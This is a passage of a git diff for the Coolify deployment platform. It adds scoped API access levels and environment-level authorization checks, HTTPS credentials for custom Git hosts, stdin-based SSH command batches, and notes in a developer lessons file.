diff --git a/.ai/lessons.md b/.ai/lessons.md index 36a776d5a4..23292f3729 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -22,10 +22,12 @@ - Browser `click()`/`assertSee()` wait forever when nothing matches, so a bad selector hangs the run instead of failing it. `click('Text')` can match a hidden element first (use `button:visible:has-text("Text")`); `:text-is()` on an element with child elements and `assertSee()` text with double quotes never match. Prefer plain CSS selectors. `click()` also hung on a button far down the long `/analytics` page; click it with `$page->script("document.querySelector('...').click()")` there. - A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` on the host and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error. - A running dev instance mounts the checkout, and its scheduled `CheckForUpdatesJob` writes the CDN data to `base_path('versions.json')`. Check `git diff versions.json` before you commit a version change. +- A dev deployment that stays `in_progress` with no log lines and no `horizon_job_id` is waiting in a queue that Horizon does not serve. With `SELF_HOSTED=false` in `.env`, deployments go to the cloud `deployments` queue; run `./scripts/dev exec php artisan queue:work redis --queue=deployments --once` or fix the env. - Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only. - The helper image runs `docker compose` for deployments and for the Coolify upgrade itself. Before you bump its Docker CLI or Compose, test them against the oldest supported Docker Engine (for example a `docker:-dind` container); newer clients can reject data from older daemons. - Do not symlink `vendor` into another worktree. Composer resolves the base path from the real `vendor` path, so the tests load the app classes of the other checkout. Run `composer install --ignore-platform-req=ext-zip` in the worktree. - To assert that the unsaved-changes bar shows, check `el.classList.contains('is-dirty')`. Playwright treats the hidden bar (`opacity-0`) as visible, and its class attribute always contains the text `is-dirty` from Tailwind variants. +- In browser tests, address `x-forms.input` fields by `name` (`type('fieldName', ...)`); its HTML `id` is not always the Livewire property, so `#property` waits forever. - For load tests against a dev VM, use your own instance (`COOLIFY_DEV_INSTANCE= COOLIFY_DEV_SIDE_BY_SIDE=1 ./scripts/dev start`); other sessions can reseed the localhost VM of a shared instance. The 1 GiB VM drops packets when its conntrack table is full (`dmesg`: `nf_conntrack: table full`), so raise `net.netfilter.nf_conntrack_max` on it and run an idle load first to prove a clean baseline. - Do not call `sleep()` in a browser test. The app server runs in the test process, so `sleep()` stops it; use `$page->wait()`. - `Queue::fake()` also captures `dispatchSync()` of a `ShouldQueue` job, so the job never runs. Fake only the jobs to block (`Queue::fake([SomeJob::class])`). Exception: actions (`AsAction`) are queued as `JobDecorator`, so `Queue::fake([SomeAction::class])` does not stop them; use `Queue::fake()` and `SomeAction::assertPushed()`. diff --git a/app/Actions/CoolifyTask/RunRemoteProcess.php b/app/Actions/CoolifyTask/RunRemoteProcess.php index 4f525ebcc8..f2c21ca121 100644 --- a/app/Actions/CoolifyTask/RunRemoteProcess.php +++ b/app/Actions/CoolifyTask/RunRemoteProcess.php @@ -113,7 +113,8 @@ class RunRemoteProcess $status = ProcessStatus::IN_PROGRESS; $timeout = config('constants.ssh.command_timeout'); try { - $process = Process::timeout($timeout)->start($this->getCommand(), $this->handleOutput(...)); + [$command, $input] = $this->getCommand(); + $process = Process::timeout($timeout)->input($input)->start($command, $this->handleOutput(...)); // Start from the stored properties and save now, so later output writes only change the log and // never write back an old copy over a status that Coolify set meanwhile (for example a stopped import). $stored = Activity::query()->whereKey($this->activity->getKey())->first()?->properties ?? $this->activity->properties; @@ -214,13 +215,19 @@ class RunRemoteProcess event(new $eventClass($eventData)); } - protected function getCommand(): string + /** + * The SSH command and its input. The command batch goes to ssh on stdin, so its secrets are + * not in a command line on the Coolify host. + * + * @return array{0: string, 1: string} + */ + protected function getCommand(): array { $server_uuid = $this->activity->getExtraProperty('server_uuid'); $command = RemoteProcessCommand::read($this->activity) ?? throw new \RuntimeException('The command of this task was already removed.'); $server = Server::whereUuid($server_uuid)->firstOrFail(); - return SshMultiplexingHelper::generateSshCommand($server, $command); + return [SshMultiplexingHelper::generateSshBatchCommand($server), SshMultiplexingHelper::sshBatchInput($command)]; } protected function handleOutput(string $type, string $output) diff --git a/app/Actions/Proxy/CheckProxy.php b/app/Actions/Proxy/CheckProxy.php index a0419feb31..2b5a502977 100644 --- a/app/Actions/Proxy/CheckProxy.php +++ b/app/Actions/Proxy/CheckProxy.php @@ -114,7 +114,7 @@ class CheckProxy $results = Process::concurrently(function ($pool) use ($server, $ports, $proxyContainerName) { foreach ($ports as $port) { $commands = $this->buildPortCheckCommands($server, $port, $proxyContainerName); - $pool->command($commands['ssh_command'])->timeout(10); + $pool->command($commands['ssh_command'])->input($commands['input'])->timeout(10); } }); @@ -152,10 +152,10 @@ class CheckProxy private function buildPortCheckCommands(Server $server, int $port, string $proxyContainerName): array { $portCheckScript = $this->buildPortCheckScript($port, $proxyContainerName); - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $portCheckScript); return [ - 'ssh_command' => $sshCommand, + 'ssh_command' => SshMultiplexingHelper::generateSshBatchCommand($server), + 'input' => SshMultiplexingHelper::sshBatchInput($portCheckScript), 'script' => $portCheckScript, ]; } diff --git a/app/Enums/AccessLevel.php b/app/Enums/AccessLevel.php new file mode 100644 index 0000000000..6ec41a3506 --- /dev/null +++ b/app/Enums/AccessLevel.php @@ -0,0 +1,64 @@ + + */ + public function includes(): array + { + return match ($this) { + self::Root => self::cases(), + self::Write => [self::Write, self::Deploy, self::ReadSensitive, self::Read], + self::Delete => [self::Delete, self::Read], + self::Deploy => [self::Deploy, self::Read], + self::ReadSensitive => [self::ReadSensitive, self::Read], + self::Read => [self::Read], + }; + } + + public function label(): string + { + return match ($this) { + self::Read => 'Read', + self::ReadSensitive => 'Read secrets', + self::Deploy => 'Deploy', + self::Write => 'Write', + self::Delete => 'Delete', + self::Root => 'Full access', + }; + } + + /** + * Parse stored level or token ability strings. Unknown values are ignored. + * + * @param iterable $values + * @return list + */ + public static function parseMany(iterable $values): array + { + $levels = []; + foreach ($values as $value) { + $level = self::tryFrom((string) $value); + if ($level !== null && ! in_array($level, $levels, true)) { + $levels[] = $level; + } + } + + return $levels; + } +} diff --git a/app/Enums/AccessScope.php b/app/Enums/AccessScope.php new file mode 100644 index 0000000000..0846479401 --- /dev/null +++ b/app/Enums/AccessScope.php @@ -0,0 +1,11 @@ + ['type' => 'string', 'description' => 'The environment UUID. You need to provide at least one of environment_name or environment_uuid.'], 'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'], 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host (not github.com).'], + 'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.'], 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], @@ -1342,8 +1344,6 @@ class ApplicationsController extends Controller return invalidTokenResponse(); } - $this->authorize('create', Application::class); - // removeUnnecessaryFieldsFromRequest() strips force_domain_override before the docker_compose_domains checks run. $forceDomainOverride = $request->boolean('force_domain_override'); @@ -1355,7 +1355,7 @@ class ApplicationsController extends Controller if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1390,6 +1390,13 @@ class ApplicationsController extends Controller ], 422); } + if ($type !== 'public' && $request->hasAny(['git_https_username', 'git_https_password'])) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials can only be used with a public or custom Git host repository (POST /applications/public).'], + ], 422); + } + if ($request->filled('docker_compose_raw')) { try { if (! is_string($request->input('docker_compose_raw'))) { @@ -1488,6 +1495,7 @@ class ApplicationsController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Application::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -1656,6 +1664,20 @@ class ApplicationsController extends Controller } $repository_url_parsed = Url::fromString($gitRepository); $git_host = $repository_url_parsed->getHost(); + if ($request->filled('git_https_password')) { + if ($git_host === 'github.com') { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials are not used for github.com. Use a GitHub App (POST /applications/private-github-app) for a private GitHub repository.'], + ], 422); + } + $application->git_https_password = $request->input('git_https_password'); + } elseif ($request->filled('git_https_username')) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'], + ], 422); + } if ($git_host === 'github.com') { $application->source_type = GithubApp::class; $application->source_id = GithubApp::find(0)->id; @@ -3170,6 +3192,8 @@ class ApplicationsController extends Controller 'github_app_uuid' => ['type' => 'string', 'description' => 'The Github App UUID.'], 'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'], 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.'], + 'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], @@ -3380,7 +3404,7 @@ class ApplicationsController extends Controller $dnsCleanup = app(ManagedDnsRecordCleanup::class); $previousDnsHostnames = $dnsCleanup->hostnamesOf($application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS]; $validationRules = [ 'name' => 'string|max:255', @@ -3521,6 +3545,21 @@ class ApplicationsController extends Controller } } + if ($request->hasAny(['git_https_username', 'git_https_password'])) { + if ($application->deploymentType() !== 'other') { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials can only be used by applications that clone a repository without a Git source or deploy key.'], + ], 422); + } + if ($request->filled('git_https_username') && ! $request->filled('git_https_password') && blank($application->git_https_password)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'], + ], 422); + } + } + $applicationSettings = $this->applicationSettingsFromRequest($request); if ($prefixValidation = $this->containerNamePrefixValidationResponse($applicationSettings, $application->destination->server, $application)) { return $prefixValidation; @@ -3780,6 +3819,12 @@ class ApplicationsController extends Controller $requestHasNoindexDomains = $request->has('noindex_domains'); data_forget($data, 'noindex_domains'); $application->fill($data); + if ($request->exists('git_https_password')) { + $application->git_https_password = $request->filled('git_https_password') ? $request->input('git_https_password') : null; + if (blank($application->git_https_password)) { + $application->git_https_username = null; + } + } if ($githubApp && ($application->source_id !== $githubApp->id || $application->source_type !== $githubApp->getMorphClass())) { $application->source_id = $githubApp->id; $application->source_type = $githubApp->getMorphClass(); @@ -6031,6 +6076,7 @@ class ApplicationsController extends Controller } $this->authorize('update', $application); + $this->authorize('create', [Application::class, $application->environment]); if ($request->boolean('clone_volumes') && $response = $this->deployAbilityForbiddenResponse($request, 'Cloning volume data stops and starts the source resource, so it needs a token with the deploy permission.')) { return $response; diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 5522994dd0..a397d81d85 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -2166,9 +2166,6 @@ class DatabasesController extends Controller return invalidTokenResponse(); } - // Use a generic authorization for database creation - using PostgreSQL as representative model - $this->authorize('create', StandalonePostgresql::class); - if ($request->boolean('instant_deploy')) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); } @@ -2213,6 +2210,8 @@ class DatabasesController extends Controller if (! $environment) { return response()->json(['message' => 'You need to provide a valid environment_name or environment_uuid.'], 422); } + // StandalonePostgresql stands for every database type: they share one policy. + $this->authorize('create', [StandalonePostgresql::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -5269,6 +5268,7 @@ class DatabasesController extends Controller } $this->authorize('update', $database); + $this->authorize('create', [StandalonePostgresql::class, $database->environment]); if ($request->boolean('clone_volumes') && $response = $this->deployAbilityForbiddenResponse($request, 'Cloning volume data stops and starts the source resource, so it needs a token with the deploy permission.')) { return $response; diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index cc785bbf8f..b494eda616 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -13,6 +13,7 @@ use App\Models\ApplicationPreview; use App\Models\Server; use App\Models\Service; use App\Models\Tag; +use App\Services\Access\AccessResolver; use App\Support\ResourceStartActivity; use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Request; @@ -74,7 +75,12 @@ class DeployController extends Controller if (is_null($teamId)) { return invalidTokenResponse(); } - $deployments_per_server = ApplicationDeploymentQueue::ownedByTeam((int) $teamId)->whereIn('status', ['in_progress', 'queued'])->get()->sortBy('id'); + $query = ApplicationDeploymentQueue::ownedByTeam((int) $teamId)->whereIn('status', ['in_progress', 'queued']); + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + // application_id is a string column, so compare with string IDs of the applications the actor can see. + $query->whereIn('application_id', Application::ownedByCurrentTeamAPI($teamId)->pluck('id')->map(fn ($id) => (string) $id)); + } + $deployments_per_server = $query->get()->sortBy('id'); $deployments_per_server = $deployments_per_server->map(function ($deployment) { return $this->removeSensitiveData($deployment); }); @@ -232,6 +238,11 @@ class DeployController extends Controller if (! $application || data_get($application->team(), 'id') !== (int) $teamId) { return response()->json(['message' => 'You do not have permission to cancel this deployment.'], 403); } + // For an actor limited by access grants, deployments of applications outside the grants do not exist. + // Soft-deleted applications stay included so a deploy that runs during a delete can still be cancelled. + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + $this->authorize('deploy', $application); + } // Check if deployment can be cancelled (must be queued or in_progress) $cancellableStatuses = [ diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 47f9d17db3..222baba002 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -404,8 +404,6 @@ class ServicesController extends Controller return invalidTokenResponse(); } - $this->authorize('create', Service::class); - if ($request->boolean('instant_deploy')) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); } @@ -488,6 +486,7 @@ class ServicesController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Service::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -697,6 +696,7 @@ class ServicesController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Service::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -3324,6 +3324,7 @@ class ServicesController extends Controller } $this->authorize('update', $service); + $this->authorize('create', [Service::class, $service->environment]); if ($request->boolean('clone_volumes') && $response = $this->deployAbilityForbiddenResponse($request, 'Cloning volume data stops and starts the source resource, so it needs a token with the deploy permission.')) { return $response; diff --git a/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php b/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php index 32145f4ec3..d87750e335 100644 --- a/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php +++ b/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php @@ -165,7 +165,9 @@ class SharedEnvironmentVariablesController extends Controller return $validated; } - $this->authorize('create', SharedEnvironmentVariable::class); + if (in_array($type, ['team', 'server'], true)) { + $this->authorize('create', SharedEnvironmentVariable::class); + } $scope = array_filter([ 'project_id' => $attributes['project_id'] ?? null, @@ -496,7 +498,7 @@ class SharedEnvironmentVariablesController extends Controller return $project; } - $this->authorize('view', $project); + $this->authorize('update', $project); return $this->createEnv($request, $teamId, 'project', ['project_id' => $project->id]); } @@ -617,7 +619,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->listEnvs($teamId, 'environment', ['environment_id' => $environment->id]); } @@ -658,7 +660,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('update', $environment); return $this->createEnv($request, $teamId, 'environment', ['environment_id' => $environment->id]); } @@ -699,7 +701,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->updateEnv( $request, @@ -745,7 +747,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->deleteEnv( $teamId, diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index 3a6cfef948..e897919e71 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -15,6 +15,7 @@ use App\Http\Middleware\DecideWhatToDoWithUser; use App\Http\Middleware\EncryptCookies; use App\Http\Middleware\EnsureMcpEnabled; use App\Http\Middleware\EnsureTeamMcpEnabled; +use App\Http\Middleware\EnsureTeamWideAccess; use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\KeepConcurrentTeamSwitch; use App\Http\Middleware\PreventRequestsDuringMaintenance; @@ -118,6 +119,7 @@ class Kernel extends HttpKernel 'can.create.resources' => CanCreateResources::class, 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, + 'access.team-wide' => EnsureTeamWideAccess::class, 'mcp.enabled' => EnsureMcpEnabled::class, 'api.ip.allowed' => ApiIpAllowed::class, 'mcp.team.enabled' => EnsureTeamMcpEnabled::class, diff --git a/app/Http/Middleware/ApiAbility.php b/app/Http/Middleware/ApiAbility.php index 7a18695836..3a48bc6b1d 100644 --- a/app/Http/Middleware/ApiAbility.php +++ b/app/Http/Middleware/ApiAbility.php @@ -2,39 +2,49 @@ namespace App\Http\Middleware; +use App\Services\Access\AccessResolver; use Illuminate\Auth\AuthenticationException; use Laravel\Sanctum\Http\Middleware\CheckForAnyAbility; class ApiAbility extends CheckForAnyAbility { /** - * Permissions that only admins/owners may use. + * First path segment after /api/v1/ of the routes that work on projects and their resources. + * A token or member limited to some projects, environments, or resources can use only these. + * Everything else (servers, keys, git sources, S3, cloud providers, team, notifications, settings, ...) is team-level. */ - private const MEMBER_DISALLOWED_ABILITIES = [ - 'root', - 'write', - 'write:sensitive', + public const SCOPED_ACCESS_ROUTES = [ + 'applications', + 'services', + 'databases', + 'projects', 'deploy', - 'read:sensitive', + 'deployments', + 'resources', + 'version', ]; + public const SCOPED_ACCESS_DENIED_MESSAGE = 'This API token is limited to selected projects, environments, or resources, so it cannot use this endpoint.'; + public function handle($request, $next, ...$abilities) { try { - $token = $request->user()->currentAccessToken(); - $teamId = data_get($token, 'team_id'); + $user = $request->user(); + $teamId = data_get($user?->currentAccessToken(), 'team_id'); - if ($teamId !== null && ! $request->user()->isAdminOfTeam((int) $teamId)) { - $disallowed = array_filter(self::MEMBER_DISALLOWED_ABILITIES, fn (string $ability) => $token->can($ability)); + if ($request->is('api/v1/*') + && ! in_array($request->segment(3), self::SCOPED_ACCESS_ROUTES, true) + && $teamId !== null + && ! app(AccessResolver::class)->coversWholeTeam($user, (int) $teamId)) { + auditLog('api.auth.scope_denied', [ + 'token_id' => $user->currentAccessToken()?->id, + 'path' => $request->path(), + ], 'warning'); - if (! empty($disallowed)) { - return response()->json([ - 'message' => 'This API token has permissions ('.implode(', ', $disallowed).') that exceed your current role as a team member. Members are restricted to read-only API access. Please revoke this token and create a new one with only read permissions.', - ], 403); - } + return response()->json(['message' => self::SCOPED_ACCESS_DENIED_MESSAGE], 403); } - if ($request->user()->tokenCan('root')) { + if ($user?->tokenCan('root')) { return $next($request); } diff --git a/app/Http/Middleware/CanCreateResources.php b/app/Http/Middleware/CanCreateResources.php index 874feb3476..7cfa06b629 100644 --- a/app/Http/Middleware/CanCreateResources.php +++ b/app/Http/Middleware/CanCreateResources.php @@ -2,6 +2,7 @@ namespace App\Http\Middleware; +use App\Models\Environment; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Gate; @@ -16,7 +17,21 @@ class CanCreateResources */ public function handle(Request $request, Closure $next): Response { - if (! Gate::allows('createAnyResource')) { + $environment = null; + if ($request->route('environment_uuid')) { + $environment = Environment::query() + ->where('uuid', $request->route('environment_uuid')) + ->whereRelation('project', fn ($query) => $query + ->where('uuid', $request->route('project_uuid')) + ->where('team_id', currentTeam()?->id)) + ->first(); + if ($environment === null) { + // The page redirects to the dashboard for an environment outside the current team. + return $next($request); + } + } + + if (! Gate::allows('createAnyResource', [$environment])) { abort(403, 'You do not have permission to create resources.'); } diff --git a/app/Http/Middleware/EnsureTeamWideAccess.php b/app/Http/Middleware/EnsureTeamWideAccess.php new file mode 100644 index 0000000000..c41928e4e0 --- /dev/null +++ b/app/Http/Middleware/EnsureTeamWideAccess.php @@ -0,0 +1,30 @@ +user(); + $teamId = $user?->currentTeam()?->id; + + if ($teamId !== null && ! app(AccessResolver::class)->coversWholeTeam($user, $teamId)) { + abort(403, 'Your access in this team is limited to some projects.'); + } + + return $next($request); + } +} diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php index 83ae05400b..2483fcf35c 100644 --- a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php +++ 